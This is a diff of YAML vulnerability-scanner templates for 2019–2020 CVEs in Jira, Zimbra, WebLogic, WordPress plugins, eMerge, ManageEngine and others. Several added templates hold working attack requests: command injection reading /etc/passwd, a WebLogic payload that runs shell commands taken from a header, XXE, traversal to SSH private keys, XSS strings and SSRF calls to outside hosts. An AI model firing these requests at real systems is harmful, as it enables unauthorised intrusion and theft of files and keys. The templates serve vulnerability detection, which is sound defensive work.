  name: "Atlassian Confluence Path Traversal"
-  severity: High
+  severity: high

 # https://github.com/x-f1v3/CVE-2019-3396

@@ -0,0 +1,24 @@
+id: cve-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-3799
+id: cve-2019-3799
 info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-5418
+id: cve-2019-5418

 info:
  name: File Content Disclosure on Rails
@@ -0,0 +1,30 @@
+id: cve-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: cve-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body
@@ -0,0 +1,42 @@
+id: cve-2019-7256
+
+info:
+  name: eMerge E3 1.00-06 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
+# Software Link: http://linear-solutions.com/nsc_family/e3-series/
+# Refrence: https://www.exploit-db.com/exploits/47619
+
+requests:
+  - raw:  # Default Port
+      - |
+        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+      - |
+        GET /nuclei.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-7609
+id: cve-2019-7609

 info:
  name: Kibana Timelion Arbitrary Code Execution
@@ -0,0 +1,19 @@
+id: cve-2019-8442
+info:
+  name: JIRA Directory Traversal
+  author: Kishore Krishna (siLLyDaddy)
+  severity: medium
+requests:
+  - method: GET
+    path:
+      - >-
+        {{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <groupId>com.atlassian.jira</groupId>
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-8449
+id: cve-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2019-8451
+id: cve-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
@@ -1,4 +1,4 @@
-id: CVE-2019-8903
+id: cve-2019-8903

 info:
  name: Totaljs - Unathenticated Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-8982
+id: cve-2019-8982
 info:
  name: Wavemaker Studio 6.6 LFI/SSRF
  author: madrobot
@@ -0,0 +1,31 @@
+id: cve-2019-9670
+
+info:
+  name: Zimbra Collaboration XXE
+  description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
+  author: ree4pwn
+  severity: critical
+
+requests:
+  - raw:
+      - |
+        POST /Autodiscover/Autodiscover.xml HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/xml
+
+        <!DOCTYPE xxe [
+        <!ELEMENT name ANY >
+        <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+        <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
+        <Request>
+        <EMailAddress>aaaaa</EMailAddress>
+        <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
+        </Request>
+        </Autodiscover>
+
+    matchers:
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -1,16 +1,16 @@
-id: CVE-2019-9978
+id: cve-2019-9978

 info:
  name: WordPress social-warfare RFI
-  author: madrobot
-  severity: ciritical
+  author: madrobot & dwisiswant0
+  severity: critical

  # Reference:- https://github.com/mpgn/CVE-2019-9978

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ip-api.com/json"
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
    matchers-condition: and
    matchers:
      - type: status
@@ -18,8 +18,5 @@ requests:
          - 200
      - type: word
        words:
-          - "timezone"
-          - "status"
-          - "country"
-        condition: and
+          - "Burp Collabolator Server"
        part: body
@@ -1,9 +1,10 @@
-id: CVE-2020-10199
+id: cve-2020-10199

 info:
  name: Nexus Repository Manager 3 RCE
  auhtor: hetroublemakr
  severity: high
+  description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

 requests:
@@ -1,9 +1,10 @@
-id: CVE-2020-10204
+id: cve-2020-10204

 info:
  name: Sonatype Nexus Repository RCE
  auhtor: hetroublemakr
  severity: high
+  description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
  # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

 requests:
@@ -21,4 +22,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -0,0 +1,23 @@
+id: cve-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/index.php?redirect=/\/evil.com/'
+      - '{{BaseURL}}/index.php?redirect=//evil.com'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header
@@ -1,4 +1,4 @@
-id: CVE-2020-1147
+id: cve-2020-1147

 info:
  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
@@ -0,0 +1,54 @@
+id: cve-2020-12116
+
+info:
+  name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+  description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
+
+  # References:
+  # - https://github.com/BeetleChunks/CVE-2020-12116
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Connection: close
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Connection: close
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}
+
+      - |
+        GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
+        Host: {{Hostname}}:8060
+        Accept: */*
+        Cache-Control: max-age=0
+        Connection: close
+        Referer: http://{{Hostname}}:8060/
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - "(?m)/cachestart/.*/jquery/"
+
+    matchers:
+      - type: word
+        words:
+          - "BEGIN RSA PRIVATE KEY"
+        part: body
@@ -1,10 +1,10 @@
-id: CVE-2020-12720
+id: cve-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
  author: pdnuclei - projectdiscovery.io
  severity: critical
-
+  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
  # Source https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
  # This template supports the detection part only.
  # Do not test any website without permission
@@ -1,9 +1,10 @@
-id: CVE-2020-13167
+id: cve-2020-13167

 info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
  author: dwisiswant0
  severity: critical
+  description: Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.

  # This template exploits a Python code injection in the Netsweeper
  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
@@ -38,4 +39,4 @@ requests:
        part: body
      - type: status
        status:
-          - 200
+          - 200
@@ -1,21 +0,0 @@
-id: CVE-2020-13379
-
-info:
-  name: Unauthenticated Grafana DoS
-  author: pxmme1337
-  severity: medium
-
-  # Source:-  https://www.exploit-db.com/exploits/48638
-  # WARNING
-  # This vulnerability results in complete crashing of the grafana-server application.
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - "{{BaseURL}}/"
-    matchers:
-      - type: status
-        status:
-          - 502
@@ -0,0 +1,26 @@
+id: cve-2020-14179
+
+info:
+  name: Sensitive data exposure via insecure Jira endpoint
+  author: x1m_martijn
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
+
+  # Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "searchers"
+          - "groups"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: cve-2020-14181
+
+info:
+  name: User enumeration via insecure Jira endpoint
+  author: bjhulst
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint. The affected versions are before version 7.13.6, from version 8.0.0 before 8.5.7, and from version 8.6.0 before 8.12.0.
+
+# Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14181
+# This template supports the detection part only.
+# Do not test any website without permission
+# Do not report without having working poc.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User does not exist"
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: CVE-2020-14864
+info:
+  name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
+  author: Ivo Palazzolo (@palaziv)
+  # cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
+  severity: high
+requests:
+  - method: GET
+    headers:
+      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    path:
+      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
+      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'root:[x*]:0:0'
+        part: body
@@ -0,0 +1,46 @@
+id: cve-2020-14882
+
+info:
+  name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Vulnerability in the Oracle WebLogic Server
+    product of Oracle Fusion Middleware (component: Console).
+    Supported versions that are affected are 10.3.6.0.0,
+    12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
+    Easily exploitable vulnerability allows unauthenticated
+    attacker with network access via HTTP to compromise the server.
+    Successful attacks of this vulnerability can result in takeover.
+
+  # References:
+  # - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
+  # - https://twitter.com/jas502n/status/1321416053050667009
+  # - https://youtu.be/JFVDOIL0YtA
+  # - https://github.com/jas502n/CVE-2020-14882#eg
+
+requests:
+  - payloads:
+      exec:
+        - "type C:\\Windows\\win.ini"  # Windows
+        - "cat /etc/passwd"  # *nix
+    raw:
+      - |
+        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
+        Host: {{Hostname}}
+        cmd: exec
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded; charset=utf-8
+
+        _nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: cve-2020-15129
+
+info:
+  name: Open-redirect in Traefik
+  author: dwisiswant0
+  severity: medium
+  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+
+  # Ref:
+  # - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}:8081"
+    headers:
+      X-Forwarded-Prefix: "https://foo.nl"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+        condition: or
+        part: body
@@ -0,0 +1,37 @@
+id: cve-2020-15505
+
+info:
+  name: RCE in MobileIron Core & Connector <= v10.6 & Sentry <= v9.8
+  author: dwisiswant0
+  severity: critical
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see references[2] below.
+  # This template works by passing a Hessian header, otherwise;
+  # it will return a 403 or 500 internal server error. References[3].
+
+  # References:
+  # - [1] https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
+  # - [2] https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505
+  # - [3] https://github.com/iamnoooob/CVE-Reverse/blob/master/CVE-2020-15505/hessian.py#L10
+  # - [4] https://github.com/orangetw/JNDI-Injection-Bypass
+
+requests:
+  - raw:
+      - |
+        POST /mifs/.;/services/LogService HTTP/1.1
+        Host: {{Hostname}}
+        Referer: https://{{Hostname}}
+        Content-Type: x-application/hessian
+        Connection: close
+
+        {{hex_decode('630200480004')}}
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/x-hessian"
+        part: header
+      - type: status
+        status:
+          - 200